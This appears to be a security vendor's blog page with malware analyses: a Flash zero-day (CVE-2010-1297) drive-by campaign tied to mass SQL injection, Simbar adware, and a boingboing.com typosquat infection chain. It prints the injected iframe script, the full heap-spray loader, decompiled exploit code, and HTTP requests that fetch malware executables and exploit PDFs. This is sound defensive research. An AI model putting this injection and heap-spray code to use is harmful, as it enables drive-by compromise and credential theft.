try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w|\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
2. http://2677.in/cnzz.html uses a free visitor counter serivce cnzz.com in order to track infections and hit count
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>
Now if we link to the counter page, we'll notice that the attacker's handle is "dnf666." Sounds familiar, right?
Yes, that's right, rings a bell--the "dnf666.net" mass sql injection incident that happened back in March. The handle is the same--dnf666.net, the sql injection strings are extremely identical, and both used cnzz as counter service.
Oh, and actually, robint.us used cnzz, too: http://s11.cnzz.com/stat.php?id=2095356&web_id=2095356
And furthermore, the dnf666.net attack involved "robints.us," yes, with an additional "s":
Also see here for additional evidences.
So, in March, dnf666 launched a similar attack, involving robint"s".us. Recently, they launched two more based on the Adobe Flash 0day (VE-2010-1297)--robint.us and 2677.in.
"6" in Mandarin is phonetically identical to the word "smooth" or "well," and so 666 is a lucky number in Chinese culture. What is DNF?
DNF stands for "Dungeon Fighter," a popular online game in the Chinese community. It's offered in Taiwan here and in China on top of the QQ platform here. dnf666.net was a platform selling (illegal) plugins to these online games. Adding these together, it's no surprise that at the end of this article, our conclusion is the purpose of both robint.us and 2677.in attacks were aimed at stealing passwords to online games.
Moving on.
3. http://2677.in/ie.html stores its heap spray code inside a DOM object
<div id=sun style="display:none">var%20a%20%3D%20new%20Array%28%29%3B%0D%0Avar%20xcode%3Dloader%28%22log.txt%22%2C%22MM%22%2C%22NN%22%29*262144%3B%0D%0Avar%20shellcode%3Dloader%28%22log.txt%22%2C%22XX%22%2C%22YY%22%29%3B%0D%0Avar%20ls%20%3D%20xcode-%28shellcode.length*2+0x01020%29%3B%0D%0Avar%20b%20%3D%20loader%28%22log.txt%22%2C%22VV%22%2C%22WW%22%29%3B%0D%0Awhile%28b.length%3Cls%29%0D%0A%7B%0D%0A%09b+%3Db%3B%0D%0A%7D%0D%0Avar%20lh%3Db.substring%280%2Cls/2%29%3B%0D%0Adelete%20b%3B%0D%0Alh%20%3D%20lh%20+%20shellcode%3B</div>
Escaped version is easier to read:
var a = new Array();
var xcode=loader("log.txt","MM","NN")*262144;
var shellcode=loader("log.txt","XX","YY");
var ls = xcode-(shellcode.length*2+0x01020);
var b = loader("log.txt","VV","WW");
while(b.length<ls)
{
b+=b;
}
var lh=b.substring(0,ls/2);
delete b;
lh = lh + shellcode;
In our flow diagram, we labeled this "trick 1." The trick defeats automated "behavior-based" scanners that implements only the javascript engine but not the DOM--for example, implementations based purely on SpiderMonkey or Rhino.
4. This <div id=sun> object is eval'ed by javascript inside ie.html
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
We labeled this "trick 2" in our diagram, because it again, defeats (both the static analysis and behavior analysis modules of) scanners that do not implement the full browser and therefore do not actually have the ability to make network connections, send http request and retrieve the shellcode.
5. http://2677.in/ie.html embeds swf exploit anhey.swf for CVE-2010-1297
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");
And that'll do it. Javascripts inside ie.html does the heap spraying and puts the retrieved shellcode (from log.txt) into memory, while anhey.swf triggers the exploit.
We can't help but notice the name of this flash exploit: "anhey.swf"--used both in robint.us and 2677.in.
We also remember this piece of dynamically generated code in robint.us:
var cuteqq = unescape(payload.replace(/CUTE/g, "%u"));
nopsled = unescape("%u0a0a%u0a0a");
Note the variable name--"cuteqq".
Well,CuteQQ and Anhey are the same Chinese company, and both domains map to the same server. The company sells drive-by download exploit kits:
And if we look at the tool's screenshot, we can see that it specifically provides a textbox for the attacker to enter the URL to his counter service (in this case, cnzz.com). It obviously supports "flash 10 0day." The middle section allows the attacker to enable various anti-detection techniques, which results in the tricks 1 and 2 we described.
Alright, moving on.
6. http://2677.in/anhey.swf exploits CVE-2010-1297 and drops downloader: http://2677.in/log.exe
7. http://2677.in/log.exe has the following behavior:
Behavior: DLL-Injection (Target: rundll32.exe) functions.
Modules
Base=10000000 Size=00003000 rundll32.exe
Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp
Retrieves: http://d.iamcome.in/u.txt, content:
222
http://d.iamcome.in/ma.exe
8. Following the instructions given inside u.txt, log.exe downloads http://d.iamcome.in/ma.exe, which has the following behavior:
Behavior: DLL-Injection (Target: explorer.exe) functions.
Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe
Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos
Steals accounts:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com
[3. Conclusion]
Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.
Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.
As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.
[4. Appendix]
1. HackAlert V3 forensics query dump
Visited path: http://2677.in/ie.html
Source code:
======
<div id=sun style="display:none">var%20a%20%3D%20new%20Array%28%29%3B%0D%0Avar%20xcode%3Dloader%28%22log.txt%22%2C%22MM%22%2C%22NN%22%29*262144%3B%0D%0Avar%20shellcode%3Dloader%28%22log.txt%22%2C%22XX%22%2C%22YY%22%29%3B%0D%0Avar%20ls%20%3D%20xcode-%28shellcode.length*2+0x01020%29%3B%0D%0Avar%20b%20%3D%20loader%28%22log.txt%22%2C%22VV%22%2C%22WW%22%29%3B%0D%0Awhile%28b.length%3Cls%29%0D%0A%7B%0D%0A%09b+%3Db%3B%0D%0A%7D%0D%0Avar%20lh%3Db.substring%280%2Cls/2%29%3B%0D%0Adelete%20b%3B%0D%0Alh%20%3D%20lh%20+%20shellcode%3B</div>
<script language='JavaScript'>
function ajax()
{
var xmlhttp_request = false;
try {
xmlhttp_request= new ActiveXObject('Msxml2.XMLHTTP');
} catch (e)
{
try {
xmlhttp_request= new ActiveXObject('Microsoft.XMLHTTP');
} catch (E) {
xmlhttp_request= null;
}
}
if (!xmlhttp_request && typeof XMLHttpRequest != 'undefined')
{
xmlhttp_request= new XMLHttpRequest();
}
return xmlhttp_request;
}
function loader(url,a,b)
{
var xmlhttp = ajax();
xmlhttp.open('get', url, false);
xmlhttp.send();
var page = xmlhttp.responseText;
page=page.replace(/jj/g,"%u");
var x=page.indexOf(a);
var y=page.indexOf(b)
var code=page.substring(x+2,y);
code=unescape(code);
return code;
}
var str=document.getElementById("sun").innerHTML;
eval(unescape(str));
var i=0;
var j=0;
var bb=new Array();
for (i = 0; i < 0xd0; i++)
a[i] = lh.substr(0, lh.length);
for(i=0;i<0x100;i++)
for(j=0;j<0x10;j++)
bb[i*0x10+j] = lh.substr(0, (0x10000-(0x01020))/2);
for(i=0;i<0x100;i++)
for(j=0;j<0x0f;j++)
bb[i*0x10+j]=null;
for (i = 0x1d0; i < loader("log.txt","MM","NN")*0x100; i++)
a[i-0x100] = lh.substr(0, lh.length);
for(i=0;i<0x100;i++)
bb[i*0x10+0x0f]=null;
document.write("<embed src='anhey.swf' width='0' height='0'></embed>");
</script>
========
Visited path: http://2677.in/cnzz.html
Source code:
======
<script src="http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191" language="JavaScript"></script>
========
Visited path: http://2677.in/yahoo.js
Source code:
======
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w|\W)*\>/,"");document.write("<iframe src=http://2677.in/cnzz.html width=0 height=0></iframe><iframe src=http://2677.in/ie.html width=22 height=1>");}
========
Visited path: http://www.ex-designz.net/topnavmenu.css
Source code:
======
#hnavmen {
float:right;
width:100%;
(truncated)
========
Visited path: http://s11.cnzz.com/stat.php?id=1990191&web_id=1990191
Source code:
======
function gv_cnzz(of){
var es = document.cookie.indexOf(";",of);
if(es==-1) es=document.cookie.length;
return unescape(document.cookie.substring(of,es));
}
(truncated)
========
2. Parts of anhey.swf:
internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;
} catch (e:Error) {
var loc1:* = e;
someVal = null;
}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;
} catch (e:Error) {
loc1 = e;
someVal = null;
}
return;
}
public dynamic class ball extends flash.display::MovieClip
{
//========================= Variables
public var nsPoints : NumericStepper;
public var test1 : *;
public var test2 : *;
public var a : *;
public var b : *;
public var test5 : *;
public var test6 : *;
public var rbEvenOdd : RadioButton;
public var test8 : *;
public var test9 : *;
public var test3 : *;
public var test4 : *;
public var test7 : *;
//========================= Methods
public static function ball()
{
return;
}
public function ball()
{
super();
addFrameScript(0, this.frame1);
this.__setProp_nsPoints_Scene1_Layer1_0();
this.__setProp_rbEvenOdd_Scene1_Layer1_0();
return;
}
internal function __setProp_nsPoints_Scene1_Layer1_0()
{
try {
this.nsPoints["componentInspectorSetting"] = true;
} catch (e:Error) {
var loc1:* = e;
someVal = null;
}
this.nsPoints.enabled = true;
this.nsPoints.maximum = 20;
this.nsPoints.minimum = 3;
this.nsPoints.stepSize = 1;
this.nsPoints.value = 1;
this.nsPoints.visible = true;
try {
this.nsPoints["componentInspectorSetting"] = false;
} catch (e:Error) {
loc1 = e;
someVal = null;
}
return;
}
internal function frame1()
{
this.a = "bbbbbbbbbbbbbbbbbbbbbb";
this.b = "zbzabbbbbbbbbbbbbbb";
this.test3 = "aaaaaaaaaaaaaaaaa";
this.test1 = "aaaaaaaaaaaaaaaaa";
this.test2 = "aaaaaaaaaaaaaaaaa";
this.test4 = "aaaaaaaaaaaaaaaaaasdasdasdasdasdasdasdasdasdasdasdasdasdasdas";
this.test5 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test6 = "sdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdasdaaaaaaa";
this.test7 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test8 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
this.test9 = "eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeaaaaaaaaaaaaaaaaa";
return;
}
internal function __setProp_rbEvenOdd_Scene1_Layer1_0()
{
try {
this.rbEvenOdd["componentInspectorSetting"] = true;
} catch (e:Error) {
var loc1:* = e;
someVal = null;
}
this.rbEvenOdd.enabled = true;
this.rbEvenOdd.groupName = "rbgW";
this.rbEvenOdd.label = "sdadasd";
this.rbEvenOdd.labelPlacement = "right";
this.rbEvenOdd.selected = true;
this.rbEvenOdd.value = "0";
this.rbEvenOdd.visible = true;
try {
this.rbEvenOdd["componentInspectorSetting"] = false;
} catch (e:Error) {
loc1 = e;
someVal = null;
}
return;
}
}
public dynamic class focusRectSkin extends flash.display::MovieClip
{
//========================= Methods
public static function focusRectSkin()
{
return;
}
public function focusRectSkin()
{
super();
return;
}
}
}
Read more (rest of article)...
Browser Helper Objects - Infection with Extensibility - Simbar
A Browser Helper Object is a relatively small plug-in for Internet Explorer (IE) that provides extended functionality. As these objects are not part of the baseline software, it crucial to verify their authenticity. Even if the state is verified, these objects can still be exploited and manipulated to perform rogue functions within the system itself.
There are no stringent integrity checks on these helper objects which leaves them open to exploit.They can be used to enable drive by download attacks or to steal sensitive information from the victim computer. Usually, a BHO is a dynamic link library (dl) that provides an advanced set of features to IE. It uses a standard hooking procedure to control the dynamic objects by rendering code in a JavaScript interpreter. The BHO also makes changes in the IE interface to execute differential calls while providing an extra toolset that could allow malware writers to design their own rogue BHO.
The details of BHO development can be found HERE
IE reveals sensitive information in the “User-Agent” field for some of the verified BHO. Recently a lot of infections have occurred through Adware.Simbar. The way to look into this type of BHO is to find a vulnerable point through which information is sent back to the attacker controlled system. Armorize conducted a small test on the Simbar BHO and found that it is the most commonly exploited BHO. Simbar is a small program designed to show advertisements in various form and with varying degrees of intrusiveness on the end-user computer. It often reports personal information back to its owners violating the end-user privacy)
The Simbar is installed as
A generalized definition:“Simbar is a BHO toolbar that also changes the default home page and search page of the browser without user consent or knowledge. Since it’s installed as BHO it can monitor everything being sent and received by your browser including information like username/password send using secured protocol.”
Major Risk: It turns victim computer into bots by exchanging information through the browser. It is supported by major bots that infect computers through browser inter protocol communication model. This is confirmed through the information sent in the User Agent field. Potential impacts on the system are as follows:
1.Unwanted display of advertisements in Internet Explorer.
2.Tracking of user browsing activity through installed infected toolbar
3.Installation and downloading of malicious programs into system
4.Disclosing user system information thereby breaching privacy benchmarks.
An infected IE sends the User Agent string as follows:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={8E94F616-2CF0-11DE-83FE-001422DDFEBA}; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )
Usually, Simbars are not verified but in this case, the verified version is installed in IE. This behavior leaks sensitive information about the objects which can be used in Active X Exploitation attacks thereby allowing users to visit the attacker-controlled malicious web pages. The registry shows appropriate entries as:
Simbar objects are used extensively in bot infections. The best practice is not to install these objects but if you chose to do so your PC will become just one more part of a larger exploitation network.
Read more (rest of article)...
There are no stringent integrity checks on these helper objects which leaves them open to exploit.They can be used to enable drive by download attacks or to steal sensitive information from the victim computer. Usually, a BHO is a dynamic link library (dl) that provides an advanced set of features to IE. It uses a standard hooking procedure to control the dynamic objects by rendering code in a JavaScript interpreter. The BHO also makes changes in the IE interface to execute differential calls while providing an extra toolset that could allow malware writers to design their own rogue BHO.
The details of BHO development can be found HERE
IE reveals sensitive information in the “User-Agent” field for some of the verified BHO. Recently a lot of infections have occurred through Adware.Simbar. The way to look into this type of BHO is to find a vulnerable point through which information is sent back to the attacker controlled system. Armorize conducted a small test on the Simbar BHO and found that it is the most commonly exploited BHO. Simbar is a small program designed to show advertisements in various form and with varying degrees of intrusiveness on the end-user computer. It often reports personal information back to its owners violating the end-user privacy)
The Simbar is installed as
A generalized definition:“Simbar is a BHO toolbar that also changes the default home page and search page of the browser without user consent or knowledge. Since it’s installed as BHO it can monitor everything being sent and received by your browser including information like username/password send using secured protocol.”
Major Risk: It turns victim computer into bots by exchanging information through the browser. It is supported by major bots that infect computers through browser inter protocol communication model. This is confirmed through the information sent in the User Agent field. Potential impacts on the system are as follows:
1.Unwanted display of advertisements in Internet Explorer.
2.Tracking of user browsing activity through installed infected toolbar
3.Installation and downloading of malicious programs into system
4.Disclosing user system information thereby breaching privacy benchmarks.
An infected IE sends the User Agent string as follows:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SIMBAR={8E94F616-2CF0-11DE-83FE-001422DDFEBA}; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) )
Usually, Simbars are not verified but in this case, the verified version is installed in IE. This behavior leaks sensitive information about the objects which can be used in Active X Exploitation attacks thereby allowing users to visit the attacker-controlled malicious web pages. The registry shows appropriate entries as:
Simbar objects are used extensively in bot infections. The best practice is not to install these objects but if you chose to do so your PC will become just one more part of a larger exploitation network.
Read more (rest of article)...
Beware of BoingBoing.com - Malware Infection Lies Within !
Recent trends of malware are targeting advertisement websites. Nonetheless, the drive by download is still the most preferable choice of the malware writers. The reason behind targeting the advertisement domains is to favor the process of chain infection as content is included from the different websites as part of third party content sharing. Our analysis deduced the fact that websites following this information sharing model are getting infected more frequently.
The alias of domain names creates stringent problems. In this analysis the boingboing.com has similar naming structure as boingboing.net except the difference in the commercial and network nature of domains. We feel this is a higher threat due to the very popular site boingboing.net. Since many people attempting to go to boingboing.net will enter boingboing.com. This is a very lucrative target for the malware writers.
Now a days the information flow is centralized due to the social networking. A single malicious link posted on any social networking websites such as Facebook,Twitter etc results in diversified way of exploitation. This is a great method of serving malware via links in email/twitter/facebook as boingboing.com is very close to the legitimate site.
The latest infection has been noticed in the boingboing.com website parked on Network Solutions, which provides centralized information from different domains as a part of online marketing and business. Any third party website, which hosts the boingboing.com tagged with Iframes will serve the malware. The same has been analyzed during the inline tracing of boinboing.com. Well, it is true that malware writers follow different bypassing patterns which make the analytical process hard to trace the malware that is triggered through drive by download technique. The boingboing.com serves malware in an indirect way but the domain does not host malware itself. The boingboing,com includes content from different third party websites which serve the trading slogans and inline advertisements. Some of the third party websites are as follows:
hxxp://new.cnzz.com/
hxxp://www.xt918.com
hxxp://yule.86sousuo.com
hxxp://u.1133.cc/
hxxp://tfwenjian.seoue.com
All the third party websites listed above provide content to the boingboing.com. Whenever a request is generated in favor of boingboing.com, the requisite content is fetched from different domains to serve the purpose. On effective HTTP debugging and continuously monitoring of inbound/outbound traffic, it is detected that tfwenjan.seoue.com is showing some suspicious behavior. After detailed analysis, it is confirmed that the below listed web pages hold a trace of malicious content which provides drive by downloads through following links:
The webpage which served this malware is hxxp://tfwenjian.seoue.com/js/openqq/cnzzcount.html
At this point, it is assured that these links trigger malware infection. But there is certain stringency in order to get the malware downloaded in a reliable way. The reasons are mentioned below:
1.The domain (91.203.5.25) is actually using IP Logging Detection (IPLD) trick which enables it to track the user who is downloading the malware. On the contrary, the malware is served to a specific IP address only once. The domain does not serve the malware if the IP is already logged into the malware domain. Every time, IP address has to be iterated to prove the uniqueness of identity in order to download the malware.
2. The domain is serving three primary links for infection. One of the link (hxxp://91.203.5.25/exemple.com/error.js.php) is following a Time Elapsing (TE) trick in order to start the infection in certain time period and after that it becomes dead. It is not serving the malware continuously but the other link (hxxp://91.203.5.25:84/exemple.com/load.php?spl=mdac) is live and serving without any hassles. The third link (hxxp://91.203.5.25:84/exemple.com/pdf.php ) serves a malicious PDF with specific characteristics and nginx server forces that PDF to open directly in the browser for exploiting certain versions of Abode PDF. Basically, it aims at exploiting the Adobe Plug-in interface through browser rather standalone PDF document.
3. The malware domain (91.203.5.25) is also showing a discreet behavior by putting a check on downloading of malware if a request does not contain a specific entitled User Agent. Actually, the domain is using a User Agent Fingerprinting and Redirection (UAFR) trick to detect the type of browser which is sending the request. This is done to infect the systems in a targeted manner. In this case, the malware is served specifically for Internet Explorer (6, 7 and 8) versions. We tried different browsers in order to analyze the differential behavior but that did not serve the purpose. So appropriate environment is required in order to download this type of malware.
The following request serve the error,js
GET /exemple.com/exploit.js.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 91.203.5.25:84
Proxy-Connection: Keep-Alive
The webpage consists of a link which is passed as a value to a variable (var lODdsP2rvBM6gXjWtM='hxxp://91.203.5.25:84/exemple.com/load.php?spl=mdac';) that downloads the load.exe to initiate the exploitation. The links are attached back to back. The following request results in downloading of load.exe into the system provided IP address has to be unique every time
GET /exemple.com/load.php?spl=mdac HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 91.203.5.25:84
Proxy-Connection: Keep-Alive
The load.exe (packed with UPS packer) is downloaded into the system which carries an exploit for MDAC (Microsoft Data Access Component).
On further part, the below mentioned request serves a malicious PDF as
GET /exemple.com/pdf.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 91.203.5.25:84
Proxy-Connection: Keep-Alive
The response returned by Nginx server is as follows
HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 22 May 2010 04:22:58 GMT
Content-Type: application/pdf
Connection: close
X-Powered-By: PHP/5.3.2
Accept-Ranges: bytes
Content-Length: 11032
Content-Disposition: inline; filename=0ad42d.pdf
It served 0ad42d.pdf file. The fact to notice in the downloading of this file is that, Content-Disposition parameter is set to inline which forces the PDF to open in the browser in order to exploit. Most of these malicious PDF’s are designed as reliable exploits which does not show any infection but exploits the system silently. The malicious PDF contains exploits as stated below
CVE-2007-5659 Adobe Collab overflow Multiple Adobe Reader and Acrobat buffer overflows
CVE-2008-2992 Adobe util.printf overflow Stack-based buffer overflow in Adobe Acrobat and Reader via crafted format string argument in util.printf
CVE-2009-0927 Adobe getIcon Stack-based buffer overflow in Adobe Reader and Acrobat via the getIcon method of a Collab object
CVE-2009-4324 doc.media.newPlayer Use-after-free vulnerability in the Doc.media.newPlayer method in Adobe Reader and Acrobat 8.0 through 9.2
Note: HackAlert's on the fly behavioral analysis produces an efficient way to detect malware from the websites. This case is scrutinized with the automated solution which gives the same positive result.
Inference:Regular day to day vulnerabilities provide a wide attack surface for crafting malicious documents and files in order to infect systems. In this case study, we have noticed that how third part infection impacts the websites in full. Even if the primary domain is not infected but the chain infection still works by utilizing the default model of HTTP.
Disclaimer: This analysis provides true information. Differential changes can be expected in the malware working with the passage of time.
Analysis has been performed by : Aditya K Sood, Jeremy Chiu and ASF team collaboratively.
Read more (rest of article)...
The alias of domain names creates stringent problems. In this analysis the boingboing.com has similar naming structure as boingboing.net except the difference in the commercial and network nature of domains. We feel this is a higher threat due to the very popular site boingboing.net. Since many people attempting to go to boingboing.net will enter boingboing.com. This is a very lucrative target for the malware writers.
Now a days the information flow is centralized due to the social networking. A single malicious link posted on any social networking websites such as Facebook,Twitter etc results in diversified way of exploitation. This is a great method of serving malware via links in email/twitter/facebook as boingboing.com is very close to the legitimate site.
The latest infection has been noticed in the boingboing.com website parked on Network Solutions, which provides centralized information from different domains as a part of online marketing and business. Any third party website, which hosts the boingboing.com tagged with Iframes will serve the malware. The same has been analyzed during the inline tracing of boinboing.com. Well, it is true that malware writers follow different bypassing patterns which make the analytical process hard to trace the malware that is triggered through drive by download technique. The boingboing.com serves malware in an indirect way but the domain does not host malware itself. The boingboing,com includes content from different third party websites which serve the trading slogans and inline advertisements. Some of the third party websites are as follows:
hxxp://new.cnzz.com/
hxxp://www.xt918.com
hxxp://yule.86sousuo.com
hxxp://u.1133.cc/
hxxp://tfwenjian.seoue.com
All the third party websites listed above provide content to the boingboing.com. Whenever a request is generated in favor of boingboing.com, the requisite content is fetched from different domains to serve the purpose. On effective HTTP debugging and continuously monitoring of inbound/outbound traffic, it is detected that tfwenjan.seoue.com is showing some suspicious behavior. After detailed analysis, it is confirmed that the below listed web pages hold a trace of malicious content which provides drive by downloads through following links:
The webpage which served this malware is hxxp://tfwenjian.seoue.com/js/openqq/cnzzcount.html
At this point, it is assured that these links trigger malware infection. But there is certain stringency in order to get the malware downloaded in a reliable way. The reasons are mentioned below:
1.The domain (91.203.5.25) is actually using IP Logging Detection (IPLD) trick which enables it to track the user who is downloading the malware. On the contrary, the malware is served to a specific IP address only once. The domain does not serve the malware if the IP is already logged into the malware domain. Every time, IP address has to be iterated to prove the uniqueness of identity in order to download the malware.
2. The domain is serving three primary links for infection. One of the link (hxxp://91.203.5.25/exemple.com/error.js.php) is following a Time Elapsing (TE) trick in order to start the infection in certain time period and after that it becomes dead. It is not serving the malware continuously but the other link (hxxp://91.203.5.25:84/exemple.com/load.php?spl=mdac) is live and serving without any hassles. The third link (hxxp://91.203.5.25:84/exemple.com/pdf.php ) serves a malicious PDF with specific characteristics and nginx server forces that PDF to open directly in the browser for exploiting certain versions of Abode PDF. Basically, it aims at exploiting the Adobe Plug-in interface through browser rather standalone PDF document.
3. The malware domain (91.203.5.25) is also showing a discreet behavior by putting a check on downloading of malware if a request does not contain a specific entitled User Agent. Actually, the domain is using a User Agent Fingerprinting and Redirection (UAFR) trick to detect the type of browser which is sending the request. This is done to infect the systems in a targeted manner. In this case, the malware is served specifically for Internet Explorer (6, 7 and 8) versions. We tried different browsers in order to analyze the differential behavior but that did not serve the purpose. So appropriate environment is required in order to download this type of malware.
The following request serve the error,js
GET /exemple.com/exploit.js.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 91.203.5.25:84
Proxy-Connection: Keep-Alive
The webpage consists of a link which is passed as a value to a variable (var lODdsP2rvBM6gXjWtM='hxxp://91.203.5.25:84/exemple.com/load.php?spl=mdac';) that downloads the load.exe to initiate the exploitation. The links are attached back to back. The following request results in downloading of load.exe into the system provided IP address has to be unique every time
GET /exemple.com/load.php?spl=mdac HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 91.203.5.25:84
Proxy-Connection: Keep-Alive
The load.exe (packed with UPS packer) is downloaded into the system which carries an exploit for MDAC (Microsoft Data Access Component).
On further part, the below mentioned request serves a malicious PDF as
GET /exemple.com/pdf.php HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 91.203.5.25:84
Proxy-Connection: Keep-Alive
The response returned by Nginx server is as follows
HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 22 May 2010 04:22:58 GMT
Content-Type: application/pdf
Connection: close
X-Powered-By: PHP/5.3.2
Accept-Ranges: bytes
Content-Length: 11032
Content-Disposition: inline; filename=0ad42d.pdf
It served 0ad42d.pdf file. The fact to notice in the downloading of this file is that, Content-Disposition parameter is set to inline which forces the PDF to open in the browser in order to exploit. Most of these malicious PDF’s are designed as reliable exploits which does not show any infection but exploits the system silently. The malicious PDF contains exploits as stated below
CVE-2007-5659 Adobe Collab overflow Multiple Adobe Reader and Acrobat buffer overflows
CVE-2008-2992 Adobe util.printf overflow Stack-based buffer overflow in Adobe Acrobat and Reader via crafted format string argument in util.printf
CVE-2009-0927 Adobe getIcon Stack-based buffer overflow in Adobe Reader and Acrobat via the getIcon method of a Collab object
CVE-2009-4324 doc.media.newPlayer Use-after-free vulnerability in the Doc.media.newPlayer method in Adobe Reader and Acrobat 8.0 through 9.2
Note: HackAlert's on the fly behavioral analysis produces an efficient way to detect malware from the websites. This case is scrutinized with the automated solution which gives the same positive result.
Inference:Regular day to day vulnerabilities provide a wide attack surface for crafting malicious documents and files in order to infect systems. In this case study, we have noticed that how third part infection impacts the websites in full. Even if the primary domain is not infected but the chain infection still works by utilizing the default model of HTTP.
Disclaimer: This analysis provides true information. Differential changes can be expected in the malware working with the passage of time.
Analysis has been performed by : Aditya K Sood, Jeremy Chiu and ASF team collaboratively.
Read more (rest of article)...